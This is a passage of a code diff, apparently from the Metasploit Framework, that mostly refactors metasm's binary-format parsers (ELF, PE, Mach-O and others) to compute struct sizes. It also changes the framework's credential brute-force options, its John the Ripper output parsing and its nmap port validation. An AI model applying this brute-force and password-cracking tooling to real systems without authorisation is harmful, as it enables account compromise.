|||
xword :entsize
|
||||
|
||||
attr_accessor :name, :encoded
|
||||
|
||||
def self.size elf
|
||||
x = elf.bitsize >> 3
|
||||
16 + 6*x
|
||||
end
|
||||
end
|
||||
|
||||
class Symbol < SerialStruct
|
||||
|
@ -471,11 +479,6 @@ class ELF < ExeFormat
|
|||
|
||||
attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx
|
||||
attr_accessor :name, :thunk
|
||||
|
||||
def self.size elf
|
||||
x = elf.bitsize >> 3
|
||||
8 + 2*x
|
||||
end
|
||||
end
|
||||
|
||||
class Symbol32 < Symbol
|
||||
|
@ -510,12 +513,6 @@ class ELF < ExeFormat
|
|||
end
|
||||
|
||||
def addend ; end
|
||||
|
||||
def self.size elf
|
||||
x = elf.bitsize >> 3
|
||||
2*x
|
||||
end
|
||||
|
||||
end
|
||||
class Relocation32 < Relocation
|
||||
addr :offset
|
||||
|
@ -538,11 +535,6 @@ class ELF < ExeFormat
|
|||
else RelocationAddend64
|
||||
end
|
||||
end
|
||||
def self.size elf
|
||||
x = elf.bitsize >> 3
|
||||
3*x
|
||||
end
|
||||
|
||||
end
|
||||
class RelocationAddend32 < RelocationAddend
|
||||
addr :offset
|
||||
|
@ -669,6 +661,15 @@ class ELF < ExeFormat
|
|||
end
|
||||
|
||||
def shortname; 'elf'; end
|
||||
|
||||
def sizeof_byte ; 1 ; end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
def sizeof_sword ; 4 ; end
|
||||
def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end
|
||||
alias sizeof_sxword sizeof_xword
|
||||
alias sizeof_addr sizeof_xword
|
||||
alias sizeof_off sizeof_xword
|
||||
end
|
||||
|
||||
class LoadedELF < ELF
|
||||
|
@ -721,6 +722,9 @@ class FatELF < ExeFormat
|
|||
def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end
|
||||
def sizeof_byte ; 1 ; end
|
||||
def sizeof_word ; 2 ; end
|
||||
def sizeof_qword ; 8 ; end
|
||||
|
||||
attr_accessor :header, :list
|
||||
def initialize
|
||||
|
|
|
@ -106,7 +106,7 @@ class ELF
|
|||
def decode_header(off = 0, decode_phdr=true, decode_shdr=true)
|
||||
@encoded.ptr = off
|
||||
@header.decode self
|
||||
raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize
|
||||
raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize
|
||||
if decode_phdr and @header.phoff != 0
|
||||
decode_program_header(@header.phoff+off)
|
||||
end
|
||||
|
@ -118,7 +118,7 @@ class ELF
|
|||
# decodes the section header
|
||||
# section names are read from shstrndx if possible
|
||||
def decode_section_header(off = @header.shoff)
|
||||
raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize
|
||||
raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize
|
||||
@encoded.add_export new_label('section_header'), off
|
||||
@encoded.ptr = off
|
||||
@sections = []
|
||||
|
@ -137,7 +137,7 @@ class ELF
|
|||
# decodes the program header table
|
||||
# marks the elf entrypoint as an export of +self.encoded+
|
||||
def decode_program_header(off = @header.phoff)
|
||||
raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize
|
||||
raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize
|
||||
@encoded.add_export new_label('program_header'), off
|
||||
@encoded.ptr = off
|
||||
@segments = []
|
||||
|
@ -232,13 +232,13 @@ class ELF
|
|||
# no way to get the number of non-exported symbols from what we have here
|
||||
# so we'll decode all relocs and use the largest index we see..
|
||||
rels = []
|
||||
if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.size(self)
|
||||
if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.sizeof(self)
|
||||
p_end = @encoded.ptr + @tag['RELSZ']
|
||||
while @encoded.ptr < p_end
|
||||
rels << Relocation.decode(self)
|
||||
end
|
||||
end
|
||||
if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.size(self)
|
||||
if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self)
|
||||
p_end = @encoded.ptr + @tag['RELASZ']
|
||||
while @encoded.ptr < p_end
|
||||
rels << RelocationAddend.decode(self)
|
||||
|
@ -392,7 +392,7 @@ class ELF
|
|||
def decode_segments_symbols
|
||||
return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH'])
|
||||
|
||||
raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self)
|
||||
raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self)
|
||||
|
||||
# find number of symbols
|
||||
if @tag['HASH']
|
||||
|
@ -427,7 +427,7 @@ class ELF
|
|||
@encoded.ptr = sec.offset
|
||||
syms = []
|
||||
raise 'Invalid symbol table' if sec.size > @encoded.length
|
||||
(sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) }
|
||||
(sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) }
|
||||
alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC'
|
||||
alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs
|
||||
syms.each { |s|
|
||||
|
@ -480,7 +480,7 @@ class ELF
|
|||
def decode_segments_relocs
|
||||
@relocations.clear
|
||||
if @encoded.ptr = @tag['REL']
|
||||
raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self)
|
||||
raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self)
|
||||
p_end = @encoded.ptr + @tag['RELSZ']
|
||||
while @encoded.ptr < p_end
|
||||
@relocations << Relocation.decode(self)
|
||||
|
@ -488,7 +488,7 @@ class ELF
|
|||
end
|
||||
|
||||
if @encoded.ptr = @tag['RELA']
|
||||
raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self)
|
||||
raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self)
|
||||
p_end = @encoded.ptr + @tag['RELASZ']
|
||||
while @encoded.ptr < p_end
|
||||
@relocations << RelocationAddend.decode(self)
|
||||
|
@ -935,6 +935,8 @@ class ELF
|
|||
when 'PPC'; PPC.new
|
||||
when 'ARM'; ARM.new
|
||||
when 'SH'; Sh4.new
|
||||
when 'ARC_COMPACT'; ARC.new
|
||||
when 'MSP430'; MSP430.new
|
||||
else raise "unsupported cpu #{@header.machine}"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -20,10 +20,10 @@ class ELF
|
|||
@phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr')
|
||||
@shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr')
|
||||
@flags ||= []
|
||||
@ehsize ||= Header.size(elf)
|
||||
@phentsize ||= Segment.size(elf)
|
||||
@ehsize ||= Header.sizeof(elf)
|
||||
@phentsize ||= Segment.sizeof(elf)
|
||||
@phnum ||= elf.segments.length
|
||||
@shentsize ||= Section.size(elf)
|
||||
@shentsize ||= Section.sizeof(elf)
|
||||
@shnum ||= elf.sections.length
|
||||
|
||||
super(elf)
|
||||
|
@ -247,7 +247,7 @@ class ELF
|
|||
dynsym = Section.new
|
||||
dynsym.name = '.dynsym'
|
||||
dynsym.type = 'DYNSYM'
|
||||
dynsym.entsize = Symbol.size(self)
|
||||
dynsym.entsize = Symbol.sizeof(self)
|
||||
dynsym.addralign = 4
|
||||
dynsym.flags = ['ALLOC']
|
||||
dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1
|
||||
|
@ -258,7 +258,7 @@ class ELF
|
|||
@symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header
|
||||
|
||||
@tag['SYMTAB'] = label_at(dynsym.encoded, 0)
|
||||
@tag['SYMENT'] = Symbol.size(self)
|
||||
@tag['SYMENT'] = Symbol.sizeof(self)
|
||||
|
||||
encode_check_section_size dynsym
|
||||
|
||||
|
@ -294,7 +294,7 @@ class ELF
|
|||
@tag['JMPREL'] = label_at(relplt.encoded, 0)
|
||||
@tag['PLTRELSZ'] = relplt.encoded.virtsize
|
||||
@tag['PLTREL'] = relplt.type = stype
|
||||
@tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self))
|
||||
@tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self))
|
||||
encode_check_section_size relplt
|
||||
end
|
||||
|
||||
|
@ -312,13 +312,13 @@ class ELF
|
|||
rel.name = '.rel.dyn'
|
||||
rel.type = 'REL'
|
||||
rel.flags = ['ALLOC']
|
||||
rel.entsize = rel.addralign = Relocation.size(self)
|
||||
rel.entsize = rel.addralign = Relocation.sizeof(self)
|
||||
encode_add_section rel
|
||||
end
|
||||
rel.encoded = EncodedData.new
|
||||
list.each { |r| rel.encoded << r.encode(self) }
|
||||
@tag['REL'] = label_at(rel.encoded, 0)
|
||||
@tag['RELENT'] = Relocation.size(self)
|
||||
@tag['RELENT'] = Relocation.sizeof(self)
|
||||
@tag['RELSZ'] = rel.encoded.virtsize
|
||||
encode_check_section_size rel
|
||||
end
|
||||
|
@ -330,13 +330,13 @@ class ELF
|
|||
rela.name = '.rela.dyn'
|
||||
rela.type = 'RELA'
|
||||
rela.flags = ['ALLOC']
|
||||
rela.entsize = rela.addralign = RelocationAddend.size(self)
|
||||
rela.entsize = rela.addralign = RelocationAddend.sizeof(self)
|
||||
encode_add_section rela
|
||||
end
|
||||
rela.encoded = EncodedData.new
|
||||
list.each { |r| rela.encoded << r.encode(self) }
|
||||
@tag['RELA'] = label_at(rela.encoded, 0)
|
||||
@tag['RELAENT'] = RelocationAddend.size(self)
|
||||
@tag['RELAENT'] = RelocationAddend.sizeof(self)
|
||||
@tag['RELASZ'] = rela.encoded.virtsize
|
||||
encode_check_section_size rela
|
||||
end
|
||||
|
@ -457,7 +457,7 @@ class ELF
|
|||
plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"]
|
||||
plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length
|
||||
reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length
|
||||
reloffset *= Relocation.size(self) if @bitsize == 32
|
||||
reloffset *= Relocation.sizeof(self) if @bitsize == 32
|
||||
plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"]
|
||||
|
||||
# transform the reloc PC32 => JMP_SLOT
|
||||
|
|
|
@ -30,6 +30,7 @@ class GameBoyRom < ExeFormat
|
|||
|
||||
def encode_byte(val) Expression[val].encode(:u8, @endianness) end
|
||||
def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end
|
||||
def sizeof_byte ; 1 ; end
|
||||
|
||||
|
||||
attr_accessor :header
|
||||
|
|
|
@ -292,6 +292,9 @@ class JavaClass < ExeFormat
|
|||
def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end
|
||||
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def sizeof_u1 ; 1 ; end
|
||||
def sizeof_u2 ; 2 ; end
|
||||
def sizeof_u4 ; 4 ; end
|
||||
|
||||
attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes
|
||||
|
||||
|
|
|
@ -511,6 +511,10 @@ class MachO < ExeFormat
|
|||
def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end
|
||||
def sizeof_byte ; 1 ; end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
def sizeof_xword ; @size == 32 ? 4 : 8 ; end
|
||||
|
||||
|
||||
attr_accessor :endianness, :size
|
||||
|
@ -978,6 +982,7 @@ class UniversalBinary < ExeFormat
|
|||
|
||||
def encode_word(val) Expression[val].encode(:u32, @endianness) end
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def sizeof_word ; 4 ; end
|
||||
|
||||
attr_accessor :endianness, :encoded, :header, :archive
|
||||
def initialize
|
||||
|
|
|
@ -51,6 +51,7 @@ class MZ < ExeFormat
|
|||
def encode_word(val) Expression[val].encode(:u16, @endianness) end
|
||||
# decodes a 16bits word from self.encoded
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def sizeof_word ; 2 ; end
|
||||
|
||||
|
||||
attr_accessor :endianness, :header, :source
|
||||
|
|
|
@ -70,6 +70,9 @@ class NDS < ExeFormat
|
|||
def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end
|
||||
def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def sizeof_byte ; 1 ; end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
|
||||
|
||||
attr_accessor :header, :icon, :arm9, :arm7
|
||||
|
|
|
@ -297,6 +297,35 @@ EOS
|
|||
} if export
|
||||
syms
|
||||
end
|
||||
|
||||
# compute the pe-sha1 or pe-sha256 of the binary
|
||||
# argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2)
|
||||
# returns the hex checksum
|
||||
def pehash(digest)
|
||||
off0 = 0
|
||||
off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum)
|
||||
|
||||
dir_ct_idx = DIRECTORIES.index('certificate_table')
|
||||
if @optheader.numrva > dir_ct_idx
|
||||
off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx
|
||||
ct_size = @encoded.data[off2, 8].unpack('V*')[1]
|
||||
off3 = @encoded.length - ct_size
|
||||
else
|
||||
off4 = @encoded.length
|
||||
end
|
||||
|
||||
digest << @encoded.data[off0 ... off1].to_str
|
||||
digest << @encoded.data[off1+4 ... off2].to_str if off2
|
||||
digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8
|
||||
digest << @encoded.data[off1+4 ... off4].to_str if off4
|
||||
digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0
|
||||
|
||||
digest.hexdigest
|
||||
end
|
||||
|
||||
def self.pehash(path, digest)
|
||||
decode_file_header(path).pehash(digest)
|
||||
end
|
||||
end
|
||||
|
||||
# an instance of a PE file, loaded in memory
|
||||
|
@ -436,5 +465,9 @@ class LoadedPE < PE
|
|||
dump.imports.last.imports << i
|
||||
end
|
||||
end
|
||||
|
||||
def pehash(digest)
|
||||
raise "cannot compute a PEhash from memory image"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -27,6 +27,9 @@ class PYC < ExeFormat
|
|||
def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
def sizeof_long ; 4 ; end
|
||||
|
||||
# file header
|
||||
attr_accessor :header
|
||||
|
|
|
@ -13,19 +13,20 @@ class SerialStruct
|
|||
NAME=0
|
||||
DECODE=1
|
||||
ENCODE=2
|
||||
DEFVAL=3
|
||||
ENUM=4
|
||||
BITS=5
|
||||
SIZEOF=3
|
||||
DEFVAL=4
|
||||
ENUM=5
|
||||
BITS=6
|
||||
|
||||
class << self
|
||||
# defines a new field
|
||||
# adds an accessor
|
||||
def new_field(name, decode, encode, defval, enum=nil, bits=nil)
|
||||
def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil)
|
||||
if name
|
||||
attr_accessor name
|
||||
name = "@#{name}".to_sym
|
||||
end
|
||||
(@@fields[self] ||= []) << [name, decode, encode, defval, enum, bits]
|
||||
(@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits]
|
||||
end
|
||||
|
||||
# creates a field constructor for a simple integer
|
||||
|
@ -34,7 +35,7 @@ class << self
|
|||
recv = class << self ; self ; end
|
||||
types.each { |type|
|
||||
recv.send(:define_method, type) { |name, *args|
|
||||
new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, args[0] || 0, args[1])
|
||||
new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1])
|
||||
}
|
||||
|
||||
# shortcut to define multiple fields of this type with default values
|
||||
|
@ -49,19 +50,20 @@ class << self
|
|||
# virtual field, handled explicitly in a custom encode/decode
|
||||
def virtual(*a)
|
||||
a.each { |f|
|
||||
new_field(f, nil, nil, nil)
|
||||
new_field(f, nil, nil, nil, nil)
|
||||
}
|
||||
end
|
||||
|
||||
# a fixed-size memory chunk
|
||||
def mem(name, len, defval='')
|
||||
new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval)
|
||||
new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval)
|
||||
end
|
||||
# a fixed-size string, 0-padded
|
||||
def str(name, len, defval='')
|
||||
e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }
|
||||
d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v }
|
||||
new_field(name, d, e, defval)
|
||||
e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }
|
||||
s = lambda { |exe, me| len }
|
||||
new_field(name, d, e, s, defval)
|
||||
end
|
||||
# 0-terminated string
|
||||
def strz(name, defval='')
|
||||
|
@ -70,7 +72,8 @@ class << self
|
|||
ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop
|
||||
}
|
||||
e = lambda { |exe, me, val| val + 0.chr }
|
||||
new_field(name, d, e, defval)
|
||||
s = lambda { |exe, val| val.length + 1 }
|
||||
new_field(name, d, e, s, defval)
|
||||
end
|
||||
|
||||
# field access
|
||||
|
@ -100,7 +103,7 @@ class << self
|
|||
d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") }
|
||||
# reset a temp var
|
||||
e = lambda { |exe, me, val| @bitfield_val = 0 ; nil }
|
||||
new_field(nil, d, e, nil)
|
||||
new_field(nil, d, e, 0, nil)
|
||||
|
||||
h = h.sort
|
||||
h.length.times { |i|
|
||||
|
@ -114,7 +117,7 @@ class << self
|
|||
d = lambda { |exe, me| (@bitfield_val >> off) & mask }
|
||||
# update the temp var with the field value, return nil
|
||||
e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil }
|
||||
new_field(name, d, e, 0)
|
||||
new_field(name, d, e, 0, 0)
|
||||
}
|
||||
|
||||
# free the temp var
|
||||
|
@ -125,7 +128,8 @@ class << self
|
|||
@bitfield_val = nil
|
||||
exe.send("encode_#{inttype}", val)
|
||||
}
|
||||
new_field(nil, d, e, nil)
|
||||
s = lambda { |exe, me| exe.send("sizeof_#{inttype}") }
|
||||
new_field(nil, d, e, s, nil)
|
||||
end
|
||||
|
||||
# inject a hook to be run during the decoding process
|
||||
|
@ -217,6 +221,39 @@ end # class methods
|
|||
ed
|
||||
end
|
||||
|
||||
# size of the structure = fields.sum { size of field }
|
||||
def sizeof(exe)
|
||||
struct_fields(exe).inject(0) { |off, f|
|
||||
case sz = f[SIZEOF]
|
||||
when Proc; sz = sz[exe, self]
|
||||
when Symbol; sz = exe.send(sz)
|
||||
when Array; sz = exe.send(*sz)
|
||||
when nil; sz = 0
|
||||
end
|
||||
off + sz
|
||||
}
|
||||
end
|
||||
|
||||
# offset (in bytes) of the structure member
|
||||
# for bitfields, return the byte offset of the whole bitfield
|
||||
def offsetof(exe, fld)
|
||||
fld2 = fld
|
||||
fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@
|
||||
off = 0
|
||||
struct_fields(exe).each { |f|
|
||||
return off if f[NAME] == fld or f[NAME] == fld2
|
||||
|
||||
case sz = f[SIZEOF]
|
||||
when Proc; sz = sz[exe, self]
|
||||
when Symbol; sz = exe.send(sz)
|
||||
when Array; sz = exe.send(*sz)
|
||||
when nil; sz = 0
|
||||
end
|
||||
off += sz
|
||||
}
|
||||
raise 'unknown field'
|
||||
end
|
||||
|
||||
# shortcut to create a new instance and decode it
|
||||
def self.decode(*a)
|
||||
s = new
|
||||
|
@ -224,6 +261,14 @@ end # class methods
|
|||
s
|
||||
end
|
||||
|
||||
def self.sizeof(exe)
|
||||
new.sizeof(exe)
|
||||
end
|
||||
|
||||
def self.offsetof(exe, fld)
|
||||
new.offsetof(exe, fld)
|
||||
end
|
||||
|
||||
def dump(e, a)
|
||||
case e
|
||||
when Integer; e >= 0x100 ? '0x%X'%e : e
|
||||
|
|
|
@ -164,6 +164,11 @@ class SWF < ExeFormat
|
|||
def encode_u32(w) Expression[w].encode(:u32, @endianness) end
|
||||
def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end
|
||||
def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end
|
||||
def sizeof_u8 ; 1 ; end
|
||||
def sizeof_u16 ; 2 ; end
|
||||
def sizeof_u32 ; 4 ; end
|
||||
def sizeof_f16 ; 2 ; end
|
||||
def sizeof_f32 ; 4 ; end
|
||||
|
||||
attr_accessor :endianness
|
||||
def initialize(cpu = nil)
|
||||
|
|
|
@ -51,7 +51,7 @@ class XCoff < ExeFormat
|
|||
@nsec ||= xcoff.sections.size
|
||||
@symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0
|
||||
@nsym ||= xcoff.symbols ? xcoff.symbols.length : 0
|
||||
@opthdr ||= xcoff.optheader ? OptHeader.size(xcoff) : 0
|
||||
@opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0
|
||||
super(xcoff)
|
||||
end
|
||||
end
|
||||
|
@ -61,13 +61,9 @@ class XCoff < ExeFormat
|
|||
xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc
|
||||
halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu
|
||||
xwords :maxstack, :maxdata
|
||||
new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, '')
|
||||
new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '')
|
||||
|
||||
|
||||
def self.size(xcoff)
|
||||
xcoff.intsize == 32 ? 2*2+7*4+10*2+2*4+2+8 : 2*2+7*8+10*2+2*8+2+120
|
||||
end
|
||||
|
||||
def set_default_values(xcoff)
|
||||
@vstamp ||= 1
|
||||
@snentry ||= 1
|
||||
|
@ -99,12 +95,16 @@ class XCoff < ExeFormat
|
|||
# basic immediates decoding functions
|
||||
def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def decode_xhalf(edata = @encoded) edata.edoced_imm((@intsize == 32 ? :u16 : :u32), @endianness) end
|
||||
def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end
|
||||
def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end
|
||||
def encode_half(w) Expression[w].encode(:u16, @endianness) end
|
||||
def encode_word(w) Expression[w].encode(:u32, @endianness) end
|
||||
def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end
|
||||
def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end
|
||||
def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end
|
||||
|
||||
|
||||
attr_accessor :header, :segments, :relocs, :intsize, :endianness
|
||||
|
|
|
@ -211,6 +211,8 @@ class ZIP < ExeFormat
|
|||
def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def encode_half(w) Expression[w].encode(:u16, @endianness) end
|
||||
def encode_word(w) Expression[w].encode(:u32, @endianness) end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
|
||||
attr_accessor :files, :header
|
||||
|
||||
|
|
|
@ -1423,6 +1423,11 @@ class WinOS < OS
|
|||
end
|
||||
end
|
||||
|
||||
# retrieve the actual context structure (so we can pass to API's like StackWalk64)
|
||||
def c_struct
|
||||
@context
|
||||
end
|
||||
|
||||
# update the context to reflect the current thread reg values
|
||||
# call only when the thread is suspended
|
||||
def update
|
||||
|
|
|
@ -92,4 +92,11 @@ class TestX86_64 < Test::Unit::TestCase
|
|||
assert_equal("\x87\xc0", assemble('xchg eax, eax'))
|
||||
assert_equal('xchg r8, rax', disassemble("\x49\x90").decoded[0].instruction.to_s)
|
||||
end
|
||||
|
||||
def test_C_size
|
||||
assert_nothing_raised {
|
||||
Metasm::Shellcode.compile_c(@@cpu, "void main(void) { int i=5670, j=8907 ; i = i*j; }").encode_string
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -20,8 +20,8 @@ module Auxiliary::AuthBrute
|
|||
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]),
|
||||
OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]),
|
||||
OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
|
||||
OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]),
|
||||
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]),
|
||||
OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]),
|
||||
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
|
||||
OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]),
|
||||
OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]),
|
||||
OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]),
|
||||
|
@ -330,6 +330,9 @@ module Auxiliary::AuthBrute
|
|||
end
|
||||
|
||||
creds = [ [], [], [], [] ] # userpass, pass, user, rest
|
||||
remaining_pairs = combined_array.length # counter for our occasional output
|
||||
interval = 60 # seconds between each remaining pair message reported to user
|
||||
next_message_time = Time.now + interval # initial timing interval for user message
|
||||
# Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list.
|
||||
# Note that we cannot tell the user intention if USERNAME or PASSWORD is blank --
|
||||
# maybe (and it's often) they wanted a blank. One more credential won't kill
|
||||
|
@ -344,6 +347,14 @@ module Auxiliary::AuthBrute
|
|||
else
|
||||
creds[3] << pair
|
||||
end
|
||||
if Time.now > next_message_time
|
||||
print_brute(
|
||||
:level => :vstatus,
|
||||
:msg => "Pair list is still building with #{remaining_pairs} pairs left to process"
|
||||
)
|
||||
next_message_time = Time.now + interval
|
||||
end
|
||||
remaining_pairs -= 1
|
||||
end
|
||||
return creds[0] + creds[1] + creds[2] + creds[3]
|
||||
end
|
||||
|
|
|
@ -142,12 +142,11 @@ module Auxiliary::JohnTheRipper
|
|||
res[:uncracked] = $2.to_i
|
||||
end
|
||||
|
||||
# XXX: If the password had : characters in it, we're screwed
|
||||
|
||||
bits = line.split(':', -1)
|
||||
|
||||
# If the password had : characters in it, put them back together
|
||||
while bits.length > 7
|
||||
bits[1,2] = bits[1,2].join(":")
|
||||
end
|
||||
# Skip blank passwords
|
||||
next if not bits[2]
|
||||
|
||||
if (format== 'lm' or format == 'nt')
|
||||
|
|
|
@ -184,7 +184,6 @@ def nmap_validate_rports
|
|||
if datastore['RPORT'] && (datastore['RPORT'].kind_of?(Fixnum) || !datastore['RPORT'].empty?)
|
||||
return true
|
||||
end
|
||||
bad_port = false
|
||||
if rports.nil? || rports.empty?
|
||||
print_error "Missing RPORTS"
|
||||
return false
|
||||
|
@ -193,14 +192,10 @@ def nmap_validate_rports
|
|||
if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/
|
||||
next
|
||||
else
|
||||
bad_port = true
|
||||
break
|
||||
print_error "Malformed nmap port: #{r}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
if bad_port
|
||||
print_error "Malformed nmap port: #{r}"
|
||||
return false
|
||||
end
|
||||
print_status "Using RPORTS range #{datastore['RPORTS']}"
|
||||
return true
|
||||
end
|
||||
|
@ -246,7 +241,7 @@ def nmap_hosts(&block)
|
|||
